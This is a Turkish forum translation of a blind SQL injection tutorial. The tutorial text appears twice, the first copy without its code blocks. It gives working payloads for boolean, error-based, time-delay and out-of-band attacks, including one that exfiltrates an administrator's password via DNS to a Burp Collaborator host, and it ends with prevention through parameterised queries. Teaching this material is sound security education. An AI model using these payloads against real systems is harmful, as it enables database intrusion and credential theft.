- 29 Eki 2018
- 2,745
- 14
- 626
Bu bölümde, blind SQL injection'un ne olduğunu açıklayacağız, blind SQL injection için güvenlik açıklarını bulmak ve bunlardan yararlanmak için çeşitli teknikleri açıklayacağız.
Laboratuvarlar
Blind SQL injection güvenlik açıklarının temel kavramlarına aşinaysanız ve bunları bazı gerçekçi, kasıtlı olarak savunmasız bırakılmış hedefler üzerinde denemek istiyorsanız, bu konudaki tüm laboratuvarlara yorumlardan ulaşabilirsiniz.
Blind SQL injection nedir?
Blind SQL injection, bir uygulama SQL injection'una karşı savunmasız olduğunda ortaya çıkar, ancak HTTP yanıtları ilgili SQL sorgusunun sonuçlarını veya herhangi bir veritabanı hatasının ayrıntılarını içermez.
Blind SQL injection güvenlik açıklarında, UNION saldırıları gibi birçok teknik etkili değildir çünkü bunlar inject edilen sorgunun sonuçlarını uygulamanın yanıtları içinde görebilmeye dayanır. Yetkisiz verilere erişmek için blind SQL injection'dan yararlanmak hala mümkündür, ancak farklı teknikler kullanılmalıdır.
Koşullu yanıtları tetikleyerek blind SQL injection'dan yararlanma
Kullanım hakkında analiz toplamak için izleme çerezleri (tracking cookies) kullanan bir uygulama düşünün. Uygulamaya yapılan talepler aşağıdaki gibi bir çerez başlığı içerir:
TrackingId çerezi içeren bir istek işlendiğinde, uygulama aşağıdaki gibi bir SQL sorgusu kullanarak bunun bilinen bir kullanıcı olup olmadığını belirler:
Bu sorgu SQL saldırısına karşı savunmasızdır, ancak sorgudan elde edilen sonuçlar kullanıcıya döndürülmez. Ancak uygulama, sorgunun herhangi bir veri döndürüp döndürmediğine bağlı olarak farklı davranır. Veri döndürürse (tanınan bir TrackingId gönderildiği için), sayfa içinde bir "Welcome back" mesajı görüntülenir.
Bu davranış, blind SQL injection güvenlik açığından yararlanabilmek ve inject edilen bir koşula bağlı olarak koşullu olarak farklı yanıtları tetikleyerek bilgi almak için yeterlidir. Bunun nasıl çalıştığını görmek için, sırayla aşağıdaki TrackingId çerez değerlerini içeren iki istek gönderildiğini varsayalım:
Bu değerlerden ilki, inject edilen AND '1'='1 koşulu doğru olduğu için sorgunun sonuç döndürmesine neden olacak ve böylece "Welcome back" mesajı görüntülenecektir. İkinci değer ise sorgunun herhangi bir sonuç döndürmemesine neden olacaktır, çünkü inject edilen koşul yanlıştır ve bu nedenle "Welcome back" mesajı görüntülenmeyecektir. Bu, inject edilen herhangi bir koşulun yanıtını belirlememize ve böylece verileri her seferinde bir bit çıkarmamıza olanak tanır.
Örneğin, username ve password sütunlarına sahip Users adlı bir tablo ve Administrator adlı bir kullanıcı olduğunu varsayalım. Parolayı her seferinde bir karakter test etmek için bir dizi girdi göndererek bu kullanıcının parolasını sistematik olarak belirleyebiliriz.
Bunu yapmak için aşağıdaki girdi ile başlıyoruz:
Bu, inject edilen koşulun doğru olduğunu ve dolayısıyla parolanın ilk karakterinin m'den büyük olduğunu belirten "Welcome back" mesajını döndürür.
Ardından aşağıdaki girdiyi gönderiyoruz:
Bu, inject edilen koşulun yanlış olduğunu ve dolayısıyla parolanın ilk karakterinin t'den büyük olmadığını belirten "Welcome back" mesajını döndürmez.
Sonunda, "Welcome back" mesajını döndüren ve böylece parolanın ilk karakterinin s olduğunu onaylayan aşağıdaki girdiyi gönderiyoruz:
Administrator kullanıcısının tam parolasını sistematik olarak belirlemek için bu işleme devam edebiliriz.
NOT
SUBSTRING işlevi bazı veritabanı türlerinde SUBSTR olarak adlandırılır. Daha fazla ayrıntı için SQL injection nedir? konusundaki "SQL injection yararlı sözdizimi örnekleri"ne bakın.
Burada 1. laboratuvar yer almakta, yorumlardan ulaşabilirsiniz.
Hata tabanlı SQL injection
Hata tabanlı SQL injection, blind bağlamlarda bile veritabanından hassas verileri çıkarmak veya çıkarım yapmak için hata mesajlarını kullanabildiğiniz durumları ifade eder. Olasılıklar büyük ölçüde veritabanının yapılandırmasına ve tetikleyebileceğiniz hata türlerine bağlıdır:
Koşullu hataları tetikleyerek blind SQL injection'dan yararlanma
Önceki örnekte, bunun yerine uygulamanın aynı SQL sorgusunu gerçekleştirdiğini, ancak sorgunun herhangi bir veri döndürüp döndürmediğine bağlı olarak farklı davranmadığını varsayalım. Önceki teknik işe yaramayacaktır, çünkü farklı Boolean koşullarının inject edilmesi uygulamanın yanıtlarında hiçbir fark yaratmaz.
Bu durumda, inject edilen bir koşula bağlı olarak SQL hatalarını koşullu olarak tetikleyerek uygulamanın koşullu yanıtlar döndürmesini sağlamak genellikle mümkündür. Bu, sorgunun koşul doğruysa bir veritabanı hatasına neden olacak, ancak koşul yanlışsa olmayacak şekilde değiştirilmesini içerir. Çoğu zaman, veritabanı tarafından atılan işlenmemiş bir hata, uygulamanın yanıtında bazı farklılıklara (bir hata mesajı gibi) neden olur ve inject edilen koşulun doğruluğunu çıkarmamıza olanak tanır.
Bunun nasıl çalıştığını görmek için, sırayla aşağıdaki TrackingId çerez değerlerini içeren iki istek gönderildiğini varsayalım:
Bu girdiler, bir koşulu test etmek ve ifadenin doğru olup olmamasına bağlı olarak farklı bir ifade döndürmek için CASE anahtar sözcüğünü kullanır. İlk girdiyle, CASE ifadesi 'a' olarak değerlendirilir ve bu da herhangi bir hataya neden olmaz. İkinci girdiyle, 1/0 olarak değerlendirilir ve bu da sıfıra bölme hatasına neden olur. Hatanın uygulamanın HTTP yanıtında bazı farklılıklara neden olduğunu varsayarsak, inject edilen koşulun doğru olup olmadığını çıkarmak için bu farkı kullanabiliriz.
Bu tekniği kullanarak, daha önce açıklanan şekilde, her seferinde bir karakteri sistematik olarak test ederek verileri alabiliriz:
NOT
Koşullu hataları tetiklemenin çeşitli yolları vardır ve farklı teknikler farklı veritabanı türlerinde en iyi sonucu verir. Daha fazla ayrıntı için SQL injection nedir? konusundaki "SQL injection yararlı sözdizimi örnekleri"ne bakın.
Burada 2. laboratuvar yer almakta, yorumlardan ulaşabilirsiniz.
SQL hata mesajları aracılığıyla hassas verileri ayıklama
Veritabanının yanlış yapılandırılması bazen ayrıntılı hata mesajlarına neden olur. Bunlar bir saldırgan için yararlı olabilecek bilgiler sağlayabilir. Örneğin, bir id parametresine tek bir tırnak işareti eklendikten sonra ortaya çıkan aşağıdaki hata mesajını düşünün:
Bu, uygulamanın girdimizi kullanarak oluşturduğu sorgunun tamamını gösterir. Sonuç olarak, içine inject ettiğimiz bağlamı, yani WHERE deyiminin içindeki tek tırnaklı bir dizeyi görebiliyoruz. Bu, kötü amaçlı geçerli bir sorgu oluşturmayı kolaylaştırır. Bu durumda, sorgunun geri kalanının yorumlanmasının gereksiz tek tırnak işaretinin sözdizimini bozmasını önleyeceğini görebiliriz.
Bazen, uygulamanın sorgu tarafından döndürülen verilerin bir kısmını içeren bir hata mesajı oluşturmasını sağlayabilirsiniz. Bu, normalde blind olan bir SQL injection güvenlik açığını "görünür" hale getirir.
Bunu başarmanın bir yolu, bir veri türünü diğerine dönüştürmenizi sağlayan CAST() işlevini kullanmaktır. Örneğin, aşağıdaki ifadeyi içeren bir sorgu düşünün:
Genellikle, okumaya çalıştığınız veri bir dizedir. Bunu int gibi uyumsuz bir veri türüne dönüştürmeye çalışmak aşağıdakine benzer bir hataya neden olabilir:
Bu tür bir sorgu, sorguya uygulanan bir karakter sınırı nedeniyle koşullu yanıtları tetikleyemediğiniz durumlarda da yararlı olabilir.
Burada 3. laboratuvar yer almakta, yorumlardan ulaşabilirsiniz.
Zaman gecikmelerini tetikleyerek blind SQL injection'dan yararlanma
Önceki örneklerin bazılarında, uygulamaların veritabanı hatalarını düzgün bir şekilde ele almamasından nasıl yararlanabileceğinizi gördük. Peki ya uygulama bu hataları yakalar ve bunları zarif bir şekilde ele alırsa? Inject edilen SQL sorgusu çalıştırıldığında bir veritabanı hatasının tetiklenmesi artık uygulamanın yanıtında herhangi bir farka neden olmaz, bu nedenle önceki koşullu hata oluşturma tekniği işe yaramayacaktır.
Bu durumda, inject edilen bir koşula bağlı olarak zaman gecikmelerini koşullu olarak tetikleyerek blind SQL injection güvenlik açığından yararlanmak genellikle mümkündür. SQL sorguları genellikle uygulama tarafından senkronize olarak işlendiğinden, bir SQL sorgusunun yürütülmesini geciktirmek HTTP yanıtını da geciktirecektir. Bu, HTTP yanıtı alınmadan önce geçen süreye dayalı olarak inject edilen koşulun doğruluğunu çıkarmamıza olanak tanır.
Bir zaman gecikmesini tetikleme teknikleri, kullanılan veritabanı türüne oldukça özeldir. Microsoft SQL Server'da, bir koşulu test etmek ve ifadenin doğru olup olmamasına bağlı olarak bir gecikmeyi tetiklemek için aşağıdaki gibi bir girdi kullanılabilir:
Bu girişlerden ilki bir gecikmeyi tetiklemeyecektir, çünkü 1=2 koşulu yanlıştır. İkinci giriş 10 saniyelik bir gecikmeyi tetikleyecektir, çünkü 1=1 koşulu doğrudur.
Bu tekniği kullanarak, daha önce açıklanan şekilde, her seferinde bir karakteri sistematik olarak test ederek verileri alabiliriz:
NOT
SQL sorgularında zaman gecikmelerini tetiklemenin çeşitli yolları vardır ve farklı veritabanı türlerinde farklı teknikler uygulanır. Daha fazla ayrıntı için SQL injection nedir? konusundaki "SQL injection yararlı sözdizimi örnekleri"ne bakın.
Burada 4. laboratuvar yer almakta, yorumlardan ulaşabilirsiniz.
Burada 5. laboratuvar yer almakta, yorumlardan ulaşabilirsiniz.
Bant dışı (OAST) teknikleri kullanarak blind SQL injection'dan yararlanma
Şimdi, uygulamanın aynı SQL sorgusunu gerçekleştirdiğini ancak bunu eşzamansız olarak yaptığını varsayalım. Uygulama, kullanıcının isteğini orijinal iş parçacığında işlemeye devam eder ve izleme çerezini kullanarak bir SQL sorgusu yürütmek için başka bir iş parçacığı kullanır. Sorgu hala SQL injection'a karşı savunmasızdır, ancak şu ana kadar açıklanan tekniklerin hiçbiri işe yaramayacaktır: uygulamanın yanıtı, sorgunun herhangi bir veri döndürüp döndürmediğine, bir veritabanı hatası oluşup oluşmadığına veya sorgunun yürütülmesi için geçen süreye bağlı değildir.
Bu durumda, kontrol ettiğiniz bir sisteme bant dışı ağ etkileşimlerini tetikleyerek blind SQL injection güvenlik açığından yararlanmak genellikle mümkündür. Daha önce olduğu gibi, bunlar, inject edilen bir koşula bağlı olarak, her seferinde bir bit bilgi çıkarmak için koşullu olarak tetiklenebilir. Ancak daha güçlü bir şekilde, veriler doğrudan ağ etkileşiminin kendisinden sızdırılabilir.
Bu amaçla çeşitli ağ protokolleri kullanılabilir, ancak tipik olarak en etkili olanı DNS'dir (alan adı hizmeti). Bunun nedeni, pek çok üretim ağının DNS sorgularının serbestçe çıkışına izin vermesidir, çünkü bunlar üretim sistemlerinin normal çalışması için gereklidir.
Bant dışı teknikleri kullanmanın en kolay ve en güvenilir yolu Burp Collaborator kullanmaktır. Bu, çeşitli ağ hizmetlerinin (DNS dahil) özel uygulamalarını sağlayan bir sunucudur ve savunmasız bir uygulamaya bireysel yüklerin gönderilmesinin bir sonucu olarak ağ etkileşimlerinin ne zaman gerçekleştiğini tespit etmenizi sağlar. Burp Collaborator desteği, yapılandırma gerektirmeden Burp Suite Professional'da yerleşik olarak bulunur.
Bir DNS sorgusunu tetikleme teknikleri, kullanılan veritabanı türüne oldukça özeldir. Microsoft SQL Server'da, belirtilen bir alan adında DNS aramasına neden olmak için aşağıdaki gibi bir girdi kullanılabilir:
Bu, veritabanının aşağıdaki alan adı için şöyle bir arama yapmasına neden olacaktır:
Burada 6. laboratuvar yer almakta, yorumlardan ulaşabilirsiniz.
Bant dışı etkileşimleri tetiklemenin bir yolunu onayladıktan sonra, savunmasız uygulamadan veri sızdırmak için bant dışı kanalı kullanabilirsiniz. Örneğin:
Bu girdi Administrator kullanıcısının parolasını okur, benzersiz bir Collaborator alt alan adı ekler ve bir DNS aramasını tetikler. Bu, aşağıdaki gibi bir DNS aramasıyla sonuçlanacak ve yakalanan parolayı görüntülemenize olanak tanıyacaktır:
Bant dışı (OAST) teknikleri, yüksek başarı olasılığı ve bant dışı kanalda doğrudan veri sızdırma yeteneği nedeniyle blind SQL açığı tespit etmek ve faydalanmak için son derece güçlü bir yoldur.
NOT
Bant dışı etkileşimleri tetiklemenin çeşitli yolları vardır ve farklı veritabanı türlerinde farklı teknikler uygulanır. Daha fazla ayrıntı için SQL injection nedir? konusundaki "SQL injection yararlı sözdizimi örnekleri"ne bakın.
Burada 7. laboratuvar yer almakta, yorumlardan ulaşabilirsiniz.
Blind SQL injection saldırıları nasıl önlenir?
Blind SQL injection güvenlik açıklarını bulmak ve kullanmak için gereken teknikler normal SQL injection'dan farklı ve daha karmaşık olsa da, SQL injection'unu önlemek için gereken önlemler güvenlik açığının blind olup olmadığına bakılmaksızın aynıdır.
Normal SQL injection'da olduğu gibi, blind SQL injection saldırıları da kullanıcı girdisinin amaçlanan SQL sorgusunun yapısına müdahale etmemesini sağlayan parametrelendirilmiş sorguların dikkatli bir şekilde kullanılmasıyla önlenebilir.
Orijinal makale: Blind SQL injection
Çevirmen: @Secret Person
SQL injection konusu: https://www.turkhackteam.org/konular/sql-injection-nedir.2043204/
Laboratuvarlar
Blind SQL injection güvenlik açıklarının temel kavramlarına aşinaysanız ve bunları bazı gerçekçi, kasıtlı olarak savunmasız bırakılmış hedefler üzerinde denemek istiyorsanız, bu konudaki tüm laboratuvarlara yorumlardan ulaşabilirsiniz.
Blind SQL injection nedir?
Blind SQL injection, bir uygulama SQL injection'una karşı savunmasız olduğunda ortaya çıkar, ancak HTTP yanıtları ilgili SQL sorgusunun sonuçlarını veya herhangi bir veritabanı hatasının ayrıntılarını içermez.
Blind SQL injection güvenlik açıklarında, UNION saldırıları gibi birçok teknik etkili değildir çünkü bunlar inject edilen sorgunun sonuçlarını uygulamanın yanıtları içinde görebilmeye dayanır. Yetkisiz verilere erişmek için blind SQL injection'dan yararlanmak hala mümkündür, ancak farklı teknikler kullanılmalıdır.
Koşullu yanıtları tetikleyerek blind SQL injection'dan yararlanma
Kullanım hakkında analiz toplamak için izleme çerezleri (tracking cookies) kullanan bir uygulama düşünün. Uygulamaya yapılan talepler aşağıdaki gibi bir çerez başlığı içerir:
Kod:
Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4TrackingId çerezi içeren bir istek işlendiğinde, uygulama aşağıdaki gibi bir SQL sorgusu kullanarak bunun bilinen bir kullanıcı olup olmadığını belirler:
SQL:
SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'Bu sorgu SQL saldırısına karşı savunmasızdır, ancak sorgudan elde edilen sonuçlar kullanıcıya döndürülmez. Ancak uygulama, sorgunun herhangi bir veri döndürüp döndürmediğine bağlı olarak farklı davranır. Veri döndürürse (tanınan bir TrackingId gönderildiği için), sayfa içinde bir "Welcome back" mesajı görüntülenir.
Bu davranış, blind SQL injection güvenlik açığından yararlanabilmek ve inject edilen bir koşula bağlı olarak koşullu olarak farklı yanıtları tetikleyerek bilgi almak için yeterlidir. Bunun nasıl çalıştığını görmek için, sırayla aşağıdaki TrackingId çerez değerlerini içeren iki istek gönderildiğini varsayalım:
SQL:
…xyz' AND '1'='1
…xyz' AND '1'='2Bu değerlerden ilki, inject edilen AND '1'='1 koşulu doğru olduğu için sorgunun sonuç döndürmesine neden olacak ve böylece "Welcome back" mesajı görüntülenecektir. İkinci değer ise sorgunun herhangi bir sonuç döndürmemesine neden olacaktır, çünkü inject edilen koşul yanlıştır ve bu nedenle "Welcome back" mesajı görüntülenmeyecektir. Bu, inject edilen herhangi bir koşulun yanıtını belirlememize ve böylece verileri her seferinde bir bit çıkarmamıza olanak tanır.
Örneğin, username ve password sütunlarına sahip Users adlı bir tablo ve Administrator adlı bir kullanıcı olduğunu varsayalım. Parolayı her seferinde bir karakter test etmek için bir dizi girdi göndererek bu kullanıcının parolasını sistematik olarak belirleyebiliriz.
Bunu yapmak için aşağıdaki girdi ile başlıyoruz:
SQL:
xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'mBu, inject edilen koşulun doğru olduğunu ve dolayısıyla parolanın ilk karakterinin m'den büyük olduğunu belirten "Welcome back" mesajını döndürür.
Ardından aşağıdaki girdiyi gönderiyoruz:
SQL:
xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'tBu, inject edilen koşulun yanlış olduğunu ve dolayısıyla parolanın ilk karakterinin t'den büyük olmadığını belirten "Welcome back" mesajını döndürmez.
Sonunda, "Welcome back" mesajını döndüren ve böylece parolanın ilk karakterinin s olduğunu onaylayan aşağıdaki girdiyi gönderiyoruz:
SQL:
xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) = 'sAdministrator kullanıcısının tam parolasını sistematik olarak belirlemek için bu işleme devam edebiliriz.
NOT
SUBSTRING işlevi bazı veritabanı türlerinde SUBSTR olarak adlandırılır. Daha fazla ayrıntı için SQL injection nedir? konusundaki "SQL injection yararlı sözdizimi örnekleri"ne bakın.
Burada 1. laboratuvar yer almakta, yorumlardan ulaşabilirsiniz.
Hata tabanlı SQL injection
Hata tabanlı SQL injection, blind bağlamlarda bile veritabanından hassas verileri çıkarmak veya çıkarım yapmak için hata mesajlarını kullanabildiğiniz durumları ifade eder. Olasılıklar büyük ölçüde veritabanının yapılandırmasına ve tetikleyebileceğiniz hata türlerine bağlıdır:
- Bir boolean ifadesinin sonucuna bağlı olarak uygulamayı belirli bir hata yanıtı döndürmeye teşvik edebilirsiniz. Bunu, önceki bölümde incelediğimiz koşullu yanıtlarla aynı şekilde kullanabilirsiniz. Daha fazla bilgi için alttaki "Koşullu hataları tetikleyerek blind SQL injection'dan yararlanma" başlığına bakın.
- Sorgu tarafından döndürülen verilerin çıktısını veren hata mesajlarını tetikleyebilirsiniz. Bu, normalde blind olan SQL injection güvenlik açıklarını etkili bir şekilde "görünür" hale getirir. Daha fazla bilgi için alttaki "SQL hata mesajları aracılığıyla hassas verileri ayıklama" başlığına bakın.
Koşullu hataları tetikleyerek blind SQL injection'dan yararlanma
Önceki örnekte, bunun yerine uygulamanın aynı SQL sorgusunu gerçekleştirdiğini, ancak sorgunun herhangi bir veri döndürüp döndürmediğine bağlı olarak farklı davranmadığını varsayalım. Önceki teknik işe yaramayacaktır, çünkü farklı Boolean koşullarının inject edilmesi uygulamanın yanıtlarında hiçbir fark yaratmaz.
Bu durumda, inject edilen bir koşula bağlı olarak SQL hatalarını koşullu olarak tetikleyerek uygulamanın koşullu yanıtlar döndürmesini sağlamak genellikle mümkündür. Bu, sorgunun koşul doğruysa bir veritabanı hatasına neden olacak, ancak koşul yanlışsa olmayacak şekilde değiştirilmesini içerir. Çoğu zaman, veritabanı tarafından atılan işlenmemiş bir hata, uygulamanın yanıtında bazı farklılıklara (bir hata mesajı gibi) neden olur ve inject edilen koşulun doğruluğunu çıkarmamıza olanak tanır.
Bunun nasıl çalıştığını görmek için, sırayla aşağıdaki TrackingId çerez değerlerini içeren iki istek gönderildiğini varsayalım:
SQL:
xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a
xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='aBu girdiler, bir koşulu test etmek ve ifadenin doğru olup olmamasına bağlı olarak farklı bir ifade döndürmek için CASE anahtar sözcüğünü kullanır. İlk girdiyle, CASE ifadesi 'a' olarak değerlendirilir ve bu da herhangi bir hataya neden olmaz. İkinci girdiyle, 1/0 olarak değerlendirilir ve bu da sıfıra bölme hatasına neden olur. Hatanın uygulamanın HTTP yanıtında bazı farklılıklara neden olduğunu varsayarsak, inject edilen koşulun doğru olup olmadığını çıkarmak için bu farkı kullanabiliriz.
Bu tekniği kullanarak, daha önce açıklanan şekilde, her seferinde bir karakteri sistematik olarak test ederek verileri alabiliriz:
SQL:
xyz' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='aNOT
Koşullu hataları tetiklemenin çeşitli yolları vardır ve farklı teknikler farklı veritabanı türlerinde en iyi sonucu verir. Daha fazla ayrıntı için SQL injection nedir? konusundaki "SQL injection yararlı sözdizimi örnekleri"ne bakın.
Burada 2. laboratuvar yer almakta, yorumlardan ulaşabilirsiniz.
SQL hata mesajları aracılığıyla hassas verileri ayıklama
Veritabanının yanlış yapılandırılması bazen ayrıntılı hata mesajlarına neden olur. Bunlar bir saldırgan için yararlı olabilecek bilgiler sağlayabilir. Örneğin, bir id parametresine tek bir tırnak işareti eklendikten sonra ortaya çıkan aşağıdaki hata mesajını düşünün:
SQL:
Unterminated string literal started at position 52 in SQL SELECT * FROM tracking WHERE id = '''. Expected charBu, uygulamanın girdimizi kullanarak oluşturduğu sorgunun tamamını gösterir. Sonuç olarak, içine inject ettiğimiz bağlamı, yani WHERE deyiminin içindeki tek tırnaklı bir dizeyi görebiliyoruz. Bu, kötü amaçlı geçerli bir sorgu oluşturmayı kolaylaştırır. Bu durumda, sorgunun geri kalanının yorumlanmasının gereksiz tek tırnak işaretinin sözdizimini bozmasını önleyeceğini görebiliriz.
Bazen, uygulamanın sorgu tarafından döndürülen verilerin bir kısmını içeren bir hata mesajı oluşturmasını sağlayabilirsiniz. Bu, normalde blind olan bir SQL injection güvenlik açığını "görünür" hale getirir.
Bunu başarmanın bir yolu, bir veri türünü diğerine dönüştürmenizi sağlayan CAST() işlevini kullanmaktır. Örneğin, aşağıdaki ifadeyi içeren bir sorgu düşünün:
SQL:
CAST((SELECT example_column FROM example_table) AS int)Genellikle, okumaya çalıştığınız veri bir dizedir. Bunu int gibi uyumsuz bir veri türüne dönüştürmeye çalışmak aşağıdakine benzer bir hataya neden olabilir:
SQL:
ERROR: invalid input syntax for type integer: "Example data"Bu tür bir sorgu, sorguya uygulanan bir karakter sınırı nedeniyle koşullu yanıtları tetikleyemediğiniz durumlarda da yararlı olabilir.
Burada 3. laboratuvar yer almakta, yorumlardan ulaşabilirsiniz.
Zaman gecikmelerini tetikleyerek blind SQL injection'dan yararlanma
Önceki örneklerin bazılarında, uygulamaların veritabanı hatalarını düzgün bir şekilde ele almamasından nasıl yararlanabileceğinizi gördük. Peki ya uygulama bu hataları yakalar ve bunları zarif bir şekilde ele alırsa? Inject edilen SQL sorgusu çalıştırıldığında bir veritabanı hatasının tetiklenmesi artık uygulamanın yanıtında herhangi bir farka neden olmaz, bu nedenle önceki koşullu hata oluşturma tekniği işe yaramayacaktır.
Bu durumda, inject edilen bir koşula bağlı olarak zaman gecikmelerini koşullu olarak tetikleyerek blind SQL injection güvenlik açığından yararlanmak genellikle mümkündür. SQL sorguları genellikle uygulama tarafından senkronize olarak işlendiğinden, bir SQL sorgusunun yürütülmesini geciktirmek HTTP yanıtını da geciktirecektir. Bu, HTTP yanıtı alınmadan önce geçen süreye dayalı olarak inject edilen koşulun doğruluğunu çıkarmamıza olanak tanır.
Bir zaman gecikmesini tetikleme teknikleri, kullanılan veritabanı türüne oldukça özeldir. Microsoft SQL Server'da, bir koşulu test etmek ve ifadenin doğru olup olmamasına bağlı olarak bir gecikmeyi tetiklemek için aşağıdaki gibi bir girdi kullanılabilir:
SQL:
'; IF (1=2) WAITFOR DELAY '0:0:10'--
'; IF (1=1) WAITFOR DELAY '0:0:10'--Bu girişlerden ilki bir gecikmeyi tetiklemeyecektir, çünkü 1=2 koşulu yanlıştır. İkinci giriş 10 saniyelik bir gecikmeyi tetikleyecektir, çünkü 1=1 koşulu doğrudur.
Bu tekniği kullanarak, daha önce açıklanan şekilde, her seferinde bir karakteri sistematik olarak test ederek verileri alabiliriz:
SQL:
'; IF (SELECT COUNT(Username) FROM Users WHERE Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'--NOT
SQL sorgularında zaman gecikmelerini tetiklemenin çeşitli yolları vardır ve farklı veritabanı türlerinde farklı teknikler uygulanır. Daha fazla ayrıntı için SQL injection nedir? konusundaki "SQL injection yararlı sözdizimi örnekleri"ne bakın.
Burada 4. laboratuvar yer almakta, yorumlardan ulaşabilirsiniz.
Burada 5. laboratuvar yer almakta, yorumlardan ulaşabilirsiniz.
Bant dışı (OAST) teknikleri kullanarak blind SQL injection'dan yararlanma
Şimdi, uygulamanın aynı SQL sorgusunu gerçekleştirdiğini ancak bunu eşzamansız olarak yaptığını varsayalım. Uygulama, kullanıcının isteğini orijinal iş parçacığında işlemeye devam eder ve izleme çerezini kullanarak bir SQL sorgusu yürütmek için başka bir iş parçacığı kullanır. Sorgu hala SQL injection'a karşı savunmasızdır, ancak şu ana kadar açıklanan tekniklerin hiçbiri işe yaramayacaktır: uygulamanın yanıtı, sorgunun herhangi bir veri döndürüp döndürmediğine, bir veritabanı hatası oluşup oluşmadığına veya sorgunun yürütülmesi için geçen süreye bağlı değildir.
Bu durumda, kontrol ettiğiniz bir sisteme bant dışı ağ etkileşimlerini tetikleyerek blind SQL injection güvenlik açığından yararlanmak genellikle mümkündür. Daha önce olduğu gibi, bunlar, inject edilen bir koşula bağlı olarak, her seferinde bir bit bilgi çıkarmak için koşullu olarak tetiklenebilir. Ancak daha güçlü bir şekilde, veriler doğrudan ağ etkileşiminin kendisinden sızdırılabilir.
Bu amaçla çeşitli ağ protokolleri kullanılabilir, ancak tipik olarak en etkili olanı DNS'dir (alan adı hizmeti). Bunun nedeni, pek çok üretim ağının DNS sorgularının serbestçe çıkışına izin vermesidir, çünkü bunlar üretim sistemlerinin normal çalışması için gereklidir.
Bant dışı teknikleri kullanmanın en kolay ve en güvenilir yolu Burp Collaborator kullanmaktır. Bu, çeşitli ağ hizmetlerinin (DNS dahil) özel uygulamalarını sağlayan bir sunucudur ve savunmasız bir uygulamaya bireysel yüklerin gönderilmesinin bir sonucu olarak ağ etkileşimlerinin ne zaman gerçekleştiğini tespit etmenizi sağlar. Burp Collaborator desteği, yapılandırma gerektirmeden Burp Suite Professional'da yerleşik olarak bulunur.
Bir DNS sorgusunu tetikleme teknikleri, kullanılan veritabanı türüne oldukça özeldir. Microsoft SQL Server'da, belirtilen bir alan adında DNS aramasına neden olmak için aşağıdaki gibi bir girdi kullanılabilir:
SQL:
'; exec master..xp_dirtree '//0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net/a'--Bu, veritabanının aşağıdaki alan adı için şöyle bir arama yapmasına neden olacaktır:
HTTP:
0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.netBurada 6. laboratuvar yer almakta, yorumlardan ulaşabilirsiniz.
Bant dışı etkileşimleri tetiklemenin bir yolunu onayladıktan sonra, savunmasız uygulamadan veri sızdırmak için bant dışı kanalı kullanabilirsiniz. Örneğin:
SQL:
'; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='Administrator');exec('master..xp_dirtree "//'+@p+'.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net/a"')--Bu girdi Administrator kullanıcısının parolasını okur, benzersiz bir Collaborator alt alan adı ekler ve bir DNS aramasını tetikler. Bu, aşağıdaki gibi bir DNS aramasıyla sonuçlanacak ve yakalanan parolayı görüntülemenize olanak tanıyacaktır:
HTTP:
S3cure.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.netBant dışı (OAST) teknikleri, yüksek başarı olasılığı ve bant dışı kanalda doğrudan veri sızdırma yeteneği nedeniyle blind SQL açığı tespit etmek ve faydalanmak için son derece güçlü bir yoldur.
NOT
Bant dışı etkileşimleri tetiklemenin çeşitli yolları vardır ve farklı veritabanı türlerinde farklı teknikler uygulanır. Daha fazla ayrıntı için SQL injection nedir? konusundaki "SQL injection yararlı sözdizimi örnekleri"ne bakın.
Burada 7. laboratuvar yer almakta, yorumlardan ulaşabilirsiniz.
Blind SQL injection saldırıları nasıl önlenir?
Blind SQL injection güvenlik açıklarını bulmak ve kullanmak için gereken teknikler normal SQL injection'dan farklı ve daha karmaşık olsa da, SQL injection'unu önlemek için gereken önlemler güvenlik açığının blind olup olmadığına bakılmaksızın aynıdır.
Normal SQL injection'da olduğu gibi, blind SQL injection saldırıları da kullanıcı girdisinin amaçlanan SQL sorgusunun yapısına müdahale etmemesini sağlayan parametrelendirilmiş sorguların dikkatli bir şekilde kullanılmasıyla önlenebilir.
Orijinal makale: Blind SQL injection
Çevirmen: @Secret Person
SQL injection konusu: https://www.turkhackteam.org/konular/sql-injection-nedir.2043204/
